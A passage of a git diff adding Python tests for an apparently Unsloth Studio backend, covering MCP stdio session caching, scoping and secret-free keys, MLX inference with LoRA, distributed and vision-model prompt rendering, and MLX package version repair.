+    out = call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat", config_check = lambda: False)
+    assert out.startswith("Error: MCP tool 't' failed")
+    assert mcp_client._stdio_sessions == {}
+    assert fake_clients[0].exited == 1
+
+
+def test_close_generation_keys_hold_no_secrets(fake_clients):
+    secret_url = "npx server --token sk-url-secret"
+    close_stdio_sessions(secret_url, {"API_KEY": "sk-env-secret"})
+    close_stdio_sessions(secret_url)
+    gen_keys = list(mcp_client._stdio_cfg_close_gen) + list(mcp_client._stdio_url_close_gen)
+    assert gen_keys
+    # These maps are never pruned: neither command/URL nor env may persist.
+    assert all("sk-url-secret" not in repr(k) and "sk-env-secret" not in repr(k) for k in gen_keys)
+
+
+def test_overlapping_calls_serialize_on_shared_session(fake_clients, monkeypatch):
+    class OverlapDetect(FakeClient):
+        active = 0
+        max_active = 0
+
+        async def call_tool(self, name, args):
+            OverlapDetect.active += 1
+            OverlapDetect.max_active = max(OverlapDetect.max_active, OverlapDetect.active)
+            try:
+                await asyncio.sleep(0.2)
+                return await super().call_tool(name, args)
+            finally:
+                OverlapDetect.active -= 1
+
+    monkeypatch.setattr(
+        mcp_client, "_client", lambda url, headers, use_oauth = False: OverlapDetect(url)
+    )
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    workers = [
+        threading.Thread(target = lambda: call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat"))
+        for _ in range(2)
+    ]
+    for worker in workers:
+        worker.start()
+    for worker in workers:
+        worker.join(10.0)
+    # A stateful server must never see interleaved same-scope operations.
+    assert OverlapDetect.max_active == 1
+    assert len(fake_clients) == 1
+
+
+def test_timeout_budget_spans_connect_and_call(fake_clients, monkeypatch):
+    class SlowBoth(FakeClient):
+        async def __aenter__(self):
+            await asyncio.sleep(0.4)
+            return await super().__aenter__()
+
+        async def call_tool(self, name, args):
+            await asyncio.sleep(0.5)
+            return await super().call_tool(name, args)
+
+    monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowBoth(url))
+    start = time.monotonic()
+    # 0.4s connect + 0.5s call vs a 0.6s budget: the call must inherit only
+    # the remaining ~0.2s, not a fresh full window.
+    out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 0.6, scope = "chat")
+    assert "timed out" in out
+    assert time.monotonic() - start < 2.0
+
+
+def test_close_narrowed_by_headers_spares_other_env(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    call_tool_sync(STDIO_URL, {"ENV_VAR": "b"}, "t", {}, scope = "chat")
+    # Two server rows can share a command with different envs; editing one
+    # must only close its own sessions.
+    close_stdio_sessions(STDIO_URL, None)
+    assert fake_clients[0].exited == 1
+    assert fake_clients[1].exited == 0
+    assert len(mcp_client._stdio_sessions) == 1
+    close_stdio_sessions(STDIO_URL)  # headers omitted: any env for the command
+    assert fake_clients[1].exited == 1
+    assert mcp_client._stdio_sessions == {}
+
+
+def test_close_stdio_sessions_by_url(fake_clients):
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    call_tool_sync("npx other-server", None, "t", {}, scope = "chat")
+    key = mcp_client._session_key(STDIO_URL, None, "chat")
+    close_stdio_sessions(STDIO_URL)
+    assert fake_clients[0].exited == 1
+    assert fake_clients[1].exited == 0
+    assert len(mcp_client._stdio_sessions) == 1
+    assert key not in mcp_client._stdio_key_locks
+
+
+def test_execute_tool_mcp_scope_is_per_thread(tmp_path, monkeypatch):
+    # session_id is the sandbox id and can be shared project-wide; the stdio
+    # session scope must also carry the per-conversation thread id.
+    from core.inference import tools as tools_mod
+    from storage import mcp_servers_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(mcp_servers_db, "_schema_ready", False)
+    monkeypatch.setattr(tools_mod, "stdio_mcp_enabled", lambda: True)
+    mcp_servers_db.create_server(id = "s1", display_name = "S", url = STDIO_URL, is_enabled = True)
+
+    scopes: list = []
+
+    def fake_call_tool_sync(**kwargs):
+        scopes.append(kwargs["scope"])
+        return "ok"
+
+    monkeypatch.setattr(tools_mod, "call_tool_sync", fake_call_tool_sync)
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "project-p1", thread_id = "thread-a")
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "project-p1", thread_id = "thread-b")
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "sess-only")
+    tools_mod.execute_tool("mcp__s1__t", {}, thread_id = "thread-a")
+    # Persist only with a thread_id; session_id alone stays one-shot (None) so a
+    # project-wide id can't leak state across conversations. Fields are tagged.
+    assert scopes == ["s=project-p1:t=thread-a", "s=project-p1:t=thread-b", None, "s=:t=thread-a"]
+    # IDs containing ":" must not collapse distinct conversations into one scope,
+    # and a session-only id must never collide with a thread-only id.
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "a:b", thread_id = "c")
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "a", thread_id = "b:c")
+    assert scopes[-2] != scopes[-1]
+    tools_mod.execute_tool("mcp__s1__t", {}, session_id = "same")
+    tools_mod.execute_tool("mcp__s1__t", {}, thread_id = "same")
+    assert scopes[-2] != scopes[-1]  # session-only "same" != thread-only "same"
+
+
+def test_execute_tool_config_check_tracks_row(tmp_path, monkeypatch):
+    from core.inference import tools as tools_mod
+    from storage import mcp_servers_db
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path))
+    monkeypatch.setattr(mcp_servers_db, "_schema_ready", False)
+    monkeypatch.setattr(tools_mod, "stdio_mcp_enabled", lambda: True)
+    mcp_servers_db.create_server(id = "s1", display_name = "S", url = STDIO_URL, is_enabled = True)
+
+    captured: dict = {}
+    monkeypatch.setattr(tools_mod, "call_tool_sync", lambda **kw: captured.update(kw) or "ok")
+    tools_mod.execute_tool("mcp__s1__t", {})
+    check = captured["config_check"]
+    assert check() is True
+    mcp_servers_db.update_server("s1", {"url": "npx different-server"})
+    assert check() is False
+
+
+def test_multi_block_result_flattens_through_session(fake_clients):
+    async def _rich_call(name, args):
+        return SimpleNamespace(
+            content = [
+                SimpleNamespace(type = "text", text = "### Page"),
+                SimpleNamespace(type = "text", text = "- Page URL: https://example.com/"),
+            ],
+            is_error = False,
+            structured_content = None,
+        )
+
+    call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")
+    fake_clients[0].call_tool = _rich_call
+    out = call_tool_sync(STDIO_URL, None, "browser_snapshot", {}, scope = "chat")
+    assert out == "### Page\n- Page URL: https://example.com/"
+
+
+def test_stdio_cache_trims_overshoot_after_burst(fake_clients, monkeypatch):
+    # A concurrent burst of distinct-scope calls can overshoot the cap while every
+    # session is busy (insert-time eviction only reclaims idle sessions). Once the
+    # calls finish, release-time trimming must bring the cache back within cap.
+    monkeypatch.setattr(mcp_client, "_STDIO_MAX_SESSIONS", 2)
+
+    def slow_client(
+        url,
+        headers,
+        use_oauth = False,
+    ):
+        client = FakeClient(url)
+        client.call_delay = 0.5  # keep every session in-flight during the burst
+        return client
+
+    monkeypatch.setattr(mcp_client, "_client", slow_client)
+    errors: list = []
+
+    def worker(i: int):
+        try:
+            call_tool_sync(STDIO_URL, None, "t", {}, scope = f"chat-{i}")
+        except Exception as exc:  # noqa: BLE001
+            errors.append(exc)
+
+    threads = [threading.Thread(target = worker, args = (i,)) for i in range(5)]
+    for thread in threads:
+        thread.start()
+    for thread in threads:
+        thread.join(10.0)
+    assert not errors, errors
+    assert len(mcp_client._stdio_sessions) <= 2
+
+
+def test_close_http_server_creates_no_stdio_tombstone(fake_clients):
+    # HTTP/SSE servers are never cached as stdio sessions, so closing one on
+    # update/delete must not accrue a close-generation entry (an unbounded leak).
+    before_cfg = len(mcp_client._stdio_cfg_close_gen)
+    before_url = len(mcp_client._stdio_url_close_gen)
+    for i in range(50):
+        close_stdio_sessions(f"https://mcp-{i}.example/mcp", {"K": str(i)})
+        close_stdio_sessions(f"https://mcp-{i}.example/mcp")
+    assert len(mcp_client._stdio_cfg_close_gen) == before_cfg
+    assert len(mcp_client._stdio_url_close_gen) == before_url
+    # a real stdio command still registers a generation (the guard is non-stdio only)
+    close_stdio_sessions(STDIO_URL, {"K": "v"})
+    assert len(mcp_client._stdio_cfg_close_gen) == before_cfg + 1
diff --git a/studio/backend/tests/test_mlx_inference_backend.py b/studio/backend/tests/test_mlx_inference_backend.py
index 9871965ce8..fa50cd84d6 100644
--- a/studio/backend/tests/test_mlx_inference_backend.py
+++ b/studio/backend/tests/test_mlx_inference_backend.py
@@ -4,6 +4,8 @@ import sys
 import types
 from types import SimpleNamespace
 
+import pytest
+
 
 class _DummyMetal:
     @staticmethod
@@ -100,6 +102,32 @@ def test_mlx_inference_text_load_forwards_studio_settings(monkeypatch):
     ]
     assert backend._is_vlm is False
     assert isinstance(backend._tokenizer, _DummyTokenizer)
+    # Non-LoRA text model: no base_model on the record.
+    assert backend.models["fake/text"]["base_model"] is None
+
+
+def test_mlx_text_lora_record_keeps_base_model_for_native_template(monkeypatch):
+    # A LoRA adapter's own tokenizer often ships no chat template; the native tool-calling template
+    # lives on the base model.
+    _install_fake_mlx(monkeypatch)
+    calls = []
+    _install_fake_fast_mlx(monkeypatch, calls)
+
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    backend = MLXInferenceBackend()
+    config = SimpleNamespace(
+        identifier = "fake/text-adapter",
+        is_vision = False,
+        is_lora = True,
+        base_model = "fake/text-base",
+    )
+
+    assert backend.load_model(config, max_seq_length = 4096, hf_token = "hf-token")
+
+    record = backend.models["fake/text-adapter"]
+    assert record["is_lora"] is True
+    assert record["base_model"] == "fake/text-base"
 
 
 def test_mlx_inference_vlm_lora_uses_unsloth_loader_without_native_adapter_rewrite(
@@ -159,6 +187,129 @@ def test_mlx_inference_vlm_lora_uses_unsloth_loader_without_native_adapter_rewri
     assert isinstance(backend._tokenizer, _DummyTokenizer)
 
 
+def test_mlx_inference_distributed_vlm_forwards_group_to_fast_mlx(monkeypatch):
+    _install_fake_mlx(monkeypatch)
+    calls = []
+    _install_fake_fast_mlx(monkeypatch, calls)
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    group = SimpleNamespace(size = lambda: 2, rank = lambda: 0)
+    config = SimpleNamespace(identifier = "fake/vlm", is_vision = True, is_lora = False)
+    for mode, group_key in (("tensor", "tensor_group"), ("pipeline", "pipeline_group")):
+        calls.clear()
+        assert MLXInferenceBackend().load_model(config, parallel_mode = mode, distributed_group = group)
+        _, kwargs = calls.pop()
+        assert kwargs["text_only"] is False and kwargs[group_key] is group
+
+    calls.clear()
+    singleton = SimpleNamespace(size = lambda: 1, rank = lambda: 0)
+    assert MLXInferenceBackend().load_model(
+        config, parallel_mode = "tensor", distributed_group = singleton
+    )
+    assert not {"tensor_group", "pipeline_group"} & set(calls.pop()[1])
+
+    config = SimpleNamespace(identifier = "fake/adapter", is_vision = False, is_lora = True)
+    with pytest.raises(ValueError, match = "LoRA adapter repos"):
+        MLXInferenceBackend().load_model(config, parallel_mode = "tensor", distributed_group = group)
+
+
+@pytest.mark.parametrize("accepts_backend", (True, False))
+def test_mlx_distributed_init_selects_jaccl_backend(monkeypatch, accepts_backend):
+    _install_fake_mlx(monkeypatch)
+    from core.inference.mlx_inference import _init_mlx_distributed
+
+    group = SimpleNamespace(rank = lambda: 1, size = lambda: 2)
+    calls = []
+
+    def _init(**kwargs):
+        calls.append(kwargs)
+        if kwargs and not accepts_backend:
+            raise TypeError("backend keyword unsupported")
+        return group
+
+    sys.modules["mlx.core"].distributed = SimpleNamespace(init = _init)
+    monkeypatch.setenv("MLX_JACCL_COORDINATOR", "127.0.0.1:12345")
+    monkeypatch.setenv("MLX_IBV_DEVICES", "/tmp/devices.json")
+
+    assert _init_mlx_distributed() == (group, 1, 2)
+    assert calls == ([{"backend": "jaccl"}] if accepts_backend else [{"backend": "jaccl"}, {}])
+
+
+def test_worker_share_object_receives_distributed_payload(monkeypatch):
+    from core.inference import worker
+
+    shared_obj = {"type": "turn", "text": "hi"}
+    payload = worker._encode_share_object(shared_obj)
+
+    def _array(value):
+        val = value.item() if hasattr(value, "item") else value
+        return SimpleNamespace(
+            item = lambda: val,
+            tolist = lambda: list(val) if hasattr(val, "__iter__") else [val],
+        )
+
+    mlx_pkg = types.ModuleType("mlx")
+    mlx_core = types.ModuleType("mlx.core")
+    mlx_core.uint8 = "uint8"
+    mlx_core.array = _array
+    mlx_core.zeros = lambda *_a, **_k: _array([])
+
+    def _all_sum(value, group = None):
+        value = value.item() if hasattr(value, "item") else value
+        return _array(len(payload)) if value == 0 else _array(payload)
+
+    mlx_core.distributed = SimpleNamespace(all_sum = _all_sum)
+    mlx_pkg.core = mlx_core
+    monkeypatch.setitem(sys.modules, "mlx", mlx_pkg)
+    monkeypatch.setitem(sys.modules, "mlx.core", mlx_core)
+
+    responses = []
+    worker._handle_share_object(
+        SimpleNamespace(
+            _distributed_group = object(),
+            _distributed_rank = 1,
+            _distributed_world_size = 2,
+        ),
+        {"type": "share_object", "request_id": "rid", "object": None},
+        SimpleNamespace(put = responses.append),
+    )
+
+    response = responses[0]
+    assert response["object"] == shared_obj
+
+
+def test_worker_share_object_oversize_notifies_peers(monkeypatch):
+    from core.inference import worker
+
+    calls = []
+
+    mlx_pkg = types.ModuleType("mlx")
+    mlx_core = types.ModuleType("mlx.core")
+    mlx_core.array = lambda value, **_kwargs: SimpleNamespace(item = lambda: value)
+    mlx_core.eval = lambda value: value
+    mlx_core.distributed = SimpleNamespace(
+        all_sum = lambda value, group = None: calls.append(value.item()) or value
+    )
+    mlx_pkg.core = mlx_core
+    monkeypatch.setitem(sys.modules, "mlx", mlx_pkg)
+    monkeypatch.setitem(sys.modules, "mlx.core", mlx_core)
+    monkeypatch.setattr(worker, "_SHARE_OBJECT_MAX_BYTES", 8)
+
+    responses = []
+    worker._handle_share_object(
+        SimpleNamespace(
+            _distributed_group = object(),
+            _distributed_rank = 0,
+            _distributed_world_size = 2,
+        ),
+        {"type": "share_object", "request_id": "rid", "object": {"text": "too long"}},
+        SimpleNamespace(put = responses.append),
+    )
+
+    assert calls == [worker._SHARE_OBJECT_ERROR_SIZE]
+    assert responses[0]["type"] == "share_error"
+
+
 # Regression: generate_chat_response must accept the four template kwargs
 # (tools / enable_thinking / reasoning_effort / preserve_thinking) so the route
 # layer can forward UI toggles. The old signature raised
@@ -182,18 +333,130 @@ def test_mlx_generate_chat_response_accepts_template_kwargs():
         ), f"{name!r} must default to None so existing callers stay valid"
 
 
+def test_mlx_vlm_generation_selects_renderer_by_capability(monkeypatch):
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    calls = {"generic": [], "model": [], "stream": []}
+    state = {"generic": "serialized", "model": "<image> model-aware"}
+    prompt_utils = SimpleNamespace(
+        MODEL_CONFIG = {"deepseek_vl_v2": object()},
+        apply_chat_template = lambda *_args, **kwargs: (
+            calls["model"].append(kwargs) or state["model"]
+        ),
+    )
+    mlx_vlm = types.ModuleType("mlx_vlm")
+    mlx_vlm.prompt_utils = prompt_utils
+    mlx_vlm.stream_generate = lambda *_args, **kwargs: (
+        calls["stream"].append((_args, kwargs))
+        or iter([SimpleNamespace(text = "ok", prompt_tokens = 3, generation_tokens = 1)])
+    )
+    monkeypatch.setitem(sys.modules, "mlx_vlm", mlx_vlm)
+
+    def generic(_target, _messages, **kwargs):
+        calls["generic"].append(kwargs)
+        if isinstance(state["generic"], Exception):
+            raise state["generic"]
+        if state["generic"] == "serialized":
+            return f"User: {_messages[0]['content']}"
+        return state["generic"]
+
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.apply_chat_template_for_generation",
+        generic,
+    )
+    backend = MLXInferenceBackend()
+    backend._model = SimpleNamespace(config = {"model_type": "deepseek_vl_v2"})
+    backend._processor = SimpleNamespace(tokenizer = SimpleNamespace())
+    args = ([{"role": "user", "content": [{"type": "image"}]}], object(), 0, 1, 0, 0, 1, 1, None)
+    tools = [{"function": {"name": "search"}}]
+    assert list(backend._generate_vlm(*args)) == ["ok"]
+    assert calls["model"][0]["num_images"] == 1
+    assert calls["stream"][0][0][2] == "<image> model-aware"
+    with pytest.raises(RuntimeError, match = "dropping requested tools"):
+        list(backend._generate_vlm(*args, tools = tools))
+    with pytest.raises(RuntimeError, match = "dropping requested tools or reasoning"):
+        list(backend._generate_vlm(*args, enable_thinking = False))
+    backend._processor = SimpleNamespace(chat_template = "template")
+    state["generic"] = "<image> healthy generic"
+    assert list(backend._generate_vlm(*args, tools = tools, enable_thinking = False)) == ["ok"]
+    assert calls["generic"][-1]["enable_thinking"] is False
+    assert calls["stream"][-1][0][2] == "<image> healthy generic"
+    state["generic"] = "generic prompt"
+    text_messages = [{"role": "user", "content": "hello"}]
+    assert list(backend._generate_vlm(*((text_messages, None) + args[2:]), tools = tools)) == ["ok"]
+    assert calls["generic"][-1]["tools"] == tools
+    assert calls["stream"][-1][0][2] == "generic prompt"
+    two_images = [{"role": "user", "content": [{"type": "image"}, {"type": "image"}]}]
+    with pytest.raises(RuntimeError, match = "2 structured image item"):
+        list(backend._generate_vlm(*((two_images,) + args[1:]), tools = tools))
+    state["generic"] = "serialized"
+    tool_history = args[0] + [{"role": "assistant", "tool_calls": [{"id": "call-1"}]}]
+    with pytest.raises(RuntimeError, match = "tool-call history"):
+        list(backend._generate_vlm(*((tool_history,) + args[1:]), tools = tools))
+    state["generic"] = ValueError("generic rendering failed")
+    state["model"] = f"User: {args[0][0]['content']}"
+    with pytest.raises(ValueError, match = "generic rendering failed"):
+        list(backend._generate_vlm(*args))
+
+
+def test_mlx_vlm_image_injection_reuses_media_aliases(monkeypatch):
+    from core.inference.mlx_inference import MLXInferenceBackend, _prompt_serializes_vlm_media
+
+    media = [{"type": "image"}]
+    quoted = [{"role": "user", "content": media}, {"role": "user", "content": f"Explain {media}"}]
+    assert _prompt_serializes_vlm_media(f"<image>\n{media[0]}", quoted[:1])
+    assert not _prompt_serializes_vlm_media(f"<image>\nExplain {media}", quoted)
+    assert _prompt_serializes_vlm_media(f"User: {media}\nExplain {media}", quoted)
+    quoted[1]["content"] = [{"type": "text", "text": f'Explain "this" {media}'}]
+    assert not _prompt_serializes_vlm_media(f'<image>\nExplain "this" {media}', quoted)
+    json_media = [{"type": "image_url"}]
+    json_repr = '{"type": "image_url"}'
+    assert _prompt_serializes_vlm_media(f"<image>\n{json_repr}", [{"content": json_media}])
+    assert not _prompt_serializes_vlm_media(
+        f"<image>\nExplain {json_repr}",
+        [{"content": json_media}, {"content": f"Explain {json_repr}"}],
+    )
+
+    backend = MLXInferenceBackend()
+    backend._model = object()
+    backend._is_vlm = True
+    captured = []
+    backend._generate_vlm = lambda messages, *_args, **_kwargs: (
+        captured.append(messages) or iter(())
+    )
+    messages = [{"role": "user", "content": [{"type": "image_url"}]}]
+    list(backend.generate_chat_response(messages, image = object()))
+    assert captured[0][0]["content"] == [{"type": "image_url"}]
+
+
+def test_mlx_vlm_model_config_prefers_config_with_model_type():
+    from core.inference.mlx_inference import _mlx_vlm_model_config
+
+    # config present but missing model_type must fall back to _config
+    m = SimpleNamespace(config = {}, _config = {"model_type": "deepseek_vl_v2"})
+    assert _mlx_vlm_model_config(m) == ({"model_type": "deepseek_vl_v2"}, "deepseek_vl_v2")
+    # an object config whose model_type is None also falls back
+    m = SimpleNamespace(config = SimpleNamespace(model_type = None), _config = {"model_type": "qwen2_vl"})
+    assert _mlx_vlm_model_config(m)[1] == "qwen2_vl"
+    # a config that already carries a model_type is preferred and returned unchanged
+    assert _mlx_vlm_model_config(SimpleNamespace(config = {"model_type": "gemma3"})) == (
+        {"model_type": "gemma3"},
+        "gemma3",
+    )
+
+
 def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch):
     """Mac text path must route through apply_chat_template_for_generation so
     reasoning / tool kwargs reach the tokenizer."""
     _install_fake_mlx(monkeypatch)
     from core.inference.mlx_inference import MLXInferenceBackend
 
-    captured = {}
+    # The text path renders once with tools, then the native-template fallback makes a second no-
+    # tools probe call (tools=None) to detect whether the template dropped the schema.
+    captured_calls = []
 
     def _fake_apply(tokenizer, messages, **kwargs):
-        captured["tokenizer"] = tokenizer
-        captured["messages"] = messages
-        captured["kwargs"] = kwargs
+        captured_calls.append({"tokenizer": tokenizer, "messages": messages, "kwargs": kwargs})
         return "<rendered prompt>"
 
     monkeypatch.setattr(
@@ -248,8 +511,181 @@ def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch):
         )
     )
     assert out == ["hi"]
-    # The toggled kwargs must reach the chat-template helper.
-    assert captured["kwargs"]["tools"] == [{"function": {"name": "web_search"}}]
-    assert captured["kwargs"]["enable_thinking"] is True
-    assert captured["kwargs"]["reasoning_effort"] == "medium"
-    assert captured["kwargs"]["preserve_thinking"] is True
+    # The toggled kwargs must reach the chat-template helper on the real render
+    # (one of the calls carries the tools; the fallback probe passes tools=None).
+    tool_renders = [
+        c
+        for c in captured_calls
+        if c["kwargs"].get("tools") == [{"function": {"name": "web_search"}}]
+    ]
+    assert tool_renders, captured_calls
+    render = tool_renders[0]
+    assert render["kwargs"]["enable_thinking"] is True
+    assert render["kwargs"]["reasoning_effort"] == "medium"
+    assert render["kwargs"]["preserve_thinking"] is True
+
+
+def test_mlx_text_normalizes_native_reasoning_and_close_releases_lock(monkeypatch):
+    _install_fake_mlx(monkeypatch)
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.apply_chat_template_for_generation",
+        lambda *_args, **_kwargs: "prompt",
+        raising = True,
+    )
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.render_with_native_template_fallback",
+        lambda formatted_prompt, **_kwargs: SimpleNamespace(
+            prompt = formatted_prompt,
+            reasoning_channel_markers = ("<|channel>thought\n", "<channel|>"),
+        ),
+        raising = True,
+    )
+
+    mlx_lm_pkg = types.ModuleType("mlx_lm")
+    mlx_lm_sample = types.ModuleType("mlx_lm.sample_utils")
+    mlx_lm_sample.make_sampler = lambda **_kw: object()
+    mlx_lm_sample.make_logits_processors = lambda **_kw: None
+
+    class _Resp:
+        def __init__(self, text, tok):
+            self.text = text
+            self.token = tok
+
+    def _stream_generate(_model, _tokenizer, **_kw):
+        yield _Resp("<|channel>thought\n", 10)
+        yield _Resp("r", 11)
+        yield _Resp("<channel|>", 12)
+        yield _Resp("a", 13)
+
+    mlx_lm_pkg.stream_generate = _stream_generate
+    monkeypatch.setitem(sys.modules, "mlx_lm", mlx_lm_pkg)
+    monkeypatch.setitem(sys.modules, "mlx_lm.sample_utils", mlx_lm_sample)
+
+    backend = MLXInferenceBackend()
+    backend._model = object()
+    backend._tokenizer = SimpleNamespace(all_special_tokens = [])
+    backend._is_vlm = False
+
+    assert list(
+        backend.generate_chat_response(
+            messages = [{"role": "user", "content": "ping"}],
+            max_new_tokens = 4,
+        )
+    ) == ["<think>", "<think>r", "<think>r</think>", "<think>r</think>a"]
+
+    gen = backend.generate_chat_response(
+        messages = [{"role": "user", "content": "ping"}],
+        max_new_tokens = 4,
+    )
+    assert next(gen) == "<think>"
+    assert backend._generation_lock.locked()
+    gen.close()
+    assert not backend._generation_lock.locked()
+
+
+def test_mlx_text_native_metadata_preserves_prefilled_think_snapshots(monkeypatch):
+    _install_fake_mlx(monkeypatch)
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.apply_chat_template_for_generation",
+        lambda *_args, **_kwargs: "prompt<think>\n",
+        raising = True,
+    )
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.render_with_native_template_fallback",
+        lambda formatted_prompt, **_kwargs: SimpleNamespace(
+            prompt = formatted_prompt,
+            reasoning_channel_markers = ("<|channel>thought", "<channel|>"),
+        ),
+        raising = True,
+    )
+
+    mlx_lm_pkg = types.ModuleType("mlx_lm")
+    mlx_lm_sample = types.ModuleType("mlx_lm.sample_utils")
+    mlx_lm_sample.make_sampler = lambda **_kw: object()
+    mlx_lm_sample.make_logits_processors = lambda **_kw: None
+
+    class _Resp:
+        def __init__(self, text, tok):
+            self.text = text
+            self.token = tok
+
+    def _stream_generate(_model, _tokenizer, **_kw):
+        yield _Resp("reason", 10)
+        yield _Resp("</think>", 11)
+        yield _Resp("answer", 12)
+
+    mlx_lm_pkg.stream_generate = _stream_generate
+    monkeypatch.setitem(sys.modules, "mlx_lm", mlx_lm_pkg)
+    monkeypatch.setitem(sys.modules, "mlx_lm.sample_utils", mlx_lm_sample)
+
+    backend = MLXInferenceBackend()
+    backend._model = object()
+    backend._tokenizer = SimpleNamespace(all_special_tokens = [])
+    backend._is_vlm = False
+
+    snapshots = list(
+        backend.generate_chat_response(
+            messages = [{"role": "user", "content": "ping"}],
+            max_new_tokens = 3,
+        )
+    )
+    assert snapshots == [
+        "<think>\n",
+        "<think>\nreason",
+        "<think>\nreason</think>",
+        "<think>\nreason</think>answer",
+    ]
+    assert all(current.startswith(previous) for previous, current in zip(snapshots, snapshots[1:]))
+
+
+def test_mlx_vlm_normalizes_native_reasoning_channels(monkeypatch):
+    _install_fake_mlx(monkeypatch)
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    monkeypatch.setattr(
+        "core.inference.chat_template_helpers.apply_chat_template_for_generation",
+        lambda *_args, **_kwargs: "prompt",
+        raising = True,
+    )
+
+    mlx_vlm_pkg = types.ModuleType("mlx_vlm")
+
+    class _Resp:
+        def __init__(self, text, tok):
+            self.text = text
+            self.token = tok
+
+    def _stream_generate(_model, _processor, _prompt, _images, **_kw):
+        yield _Resp("<|channel>thought\n", 10)
+        yield _Resp("vision", 11)
+        yield _Resp("<channel|>", 12)
+        yield _Resp(" answer", 13)
+
+    mlx_vlm_pkg.stream_generate = _stream_generate
+    monkeypatch.setitem(sys.modules, "mlx_vlm", mlx_vlm_pkg)
+
+    backend = MLXInferenceBackend()
+    backend._model = SimpleNamespace(config = SimpleNamespace())
+    backend._processor = SimpleNamespace(
+        chat_template = "<|channel>thought\n...<channel|>",
+        all_special_tokens = [],
+        apply_chat_template = lambda *_args, **_kwargs: "prompt",
+    )
+    backend._is_vlm = True
+
+    assert list(
+        backend.generate_chat_response(
+            messages = [{"role": "user", "content": "describe"}],
+            image = object(),
+            max_new_tokens = 4,
+        )
+    ) == [
+        "<think>",
+        "<think>vision",
+        "<think>vision</think>",
+        "<think>vision</think> answer",
+    ]
diff --git a/studio/backend/tests/test_mlx_repair.py b/studio/backend/tests/test_mlx_repair.py
index 1b0cbf9df1..365cc46410 100644
--- a/studio/backend/tests/test_mlx_repair.py
+++ b/studio/backend/tests/test_mlx_repair.py
@@ -271,6 +271,29 @@ def test_stack_available_requires_runtime_imports_and_versions(monkeypatch):
     assert imported == list(mr._MLX_RUNTIME_IMPORTS)
 
 
+def test_mlx_packages_exclude_known_bad_mlx_lm():
+    # mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5); the install spec
+    # must exclude it so the resolver picks 0.31.2 or >=0.31.4. See mlx-lm #1242.
+    (mlx_lm_spec,) = [p for p in mr.MLX_PACKAGES if p.startswith("mlx-lm")]
+    assert mlx_lm_spec == "mlx-lm>=0.22.0,!=0.31.3"
+
+
+@pytest.mark.parametrize("bad_form", ["0.31.3", "0.31.3.0"])
+def test_known_bad_installed_mlx_lm_triggers_repair(monkeypatch, bad_form):
+    # An installed 0.31.3 counts as unsatisfied so the self-heal replaces it;
+    # parsed-Version compare also catches the trailing-zero form 0.31.3.0.
+    import importlib.metadata as metadata
+
+    def _version(name):
+        return bad_form if name == "mlx-lm" else mr._MLX_MIN_VERSIONS[name]
+
+    monkeypatch.setattr(metadata, "version", _version)
+    monkeypatch.setattr(
+        mr.importlib, "import_module", lambda _n: pytest.fail("versions must gate imports")
+    )
+    assert mr.mlx_stack_available() is False
+
+
 def test_no_op_off_apple_silicon(monkeypatch):
     monkeypatch.setattr(mr, "is_apple_silicon", lambda: False)
     called = {"n": 0}
diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py
index dce5e27c08..14fc0933d0 100644
--- a/studio/backend/tests/test_mlx_training_worker_config.py
+++ b/studio/backend/tests/test_mlx_training_worker_config.py
@@ -76,7 +76,7 @@ def test_mlx_studio_optimizer_aliases_are_explicit():
 
 
 def test_mlx_studio_rejects_unknown_optimizer():
-    with pytest.raises(ValueError, match = "Unsupported optimizer for MLX training"):
+    with pytest.raises(ValueError, match = "Supported"):
         _normalize_mlx_studio_optimizer("adamw_typo")
 
 
diff --git a/studio/backend/tests/test_model_update_robustness.py b/studio/backend/tests/test_model_update_robustness.py
index 9cf2a62c39..edf55812e2 100644
--- a/studio/backend/tests/test_model_update_robustness.py
+++ b/studio/backend/tests/test_model_update_robustness.py
@@ -5,8 +5,8 @@
 Covers:
   * GGUF variant listing computes update_available from the already-fetched
     sibling metadata instead of a second Hub call.
-  * hf_hub_download_with_xet_fallback(force_download=True) bypasses the
-    try_to_load_from_cache cache-first early-return.
+  * hf_hub_download_with_xet_fallback forwards force_download through the shim to the
+    shared unsloth_zoo helper (which owns the cache-first early-return and its bypass).
 
 The cache "Update" action now runs through the download manager as a normal
 managed download (so it shows in the Downloads panel with progress + cancel),
@@ -341,44 +341,26 @@ def test_cached_model_scan_keeps_local_safetensors_repo(monkeypatch, tmp_path):
 # ── hf_hub_download_with_xet_fallback force_download bypass (X2/F2) ───
 
 
-def test_force_download_bypasses_cache_first_early_return(monkeypatch):
-    """force_download=True skips the try_to_load_from_cache early-return and
-    proceeds to the real download path; force_download=False returns the cached
-    path without ever attempting a download (X2/F2)."""
-    import huggingface_hub as hf
+def test_force_download_is_forwarded_through_the_shim(monkeypatch):
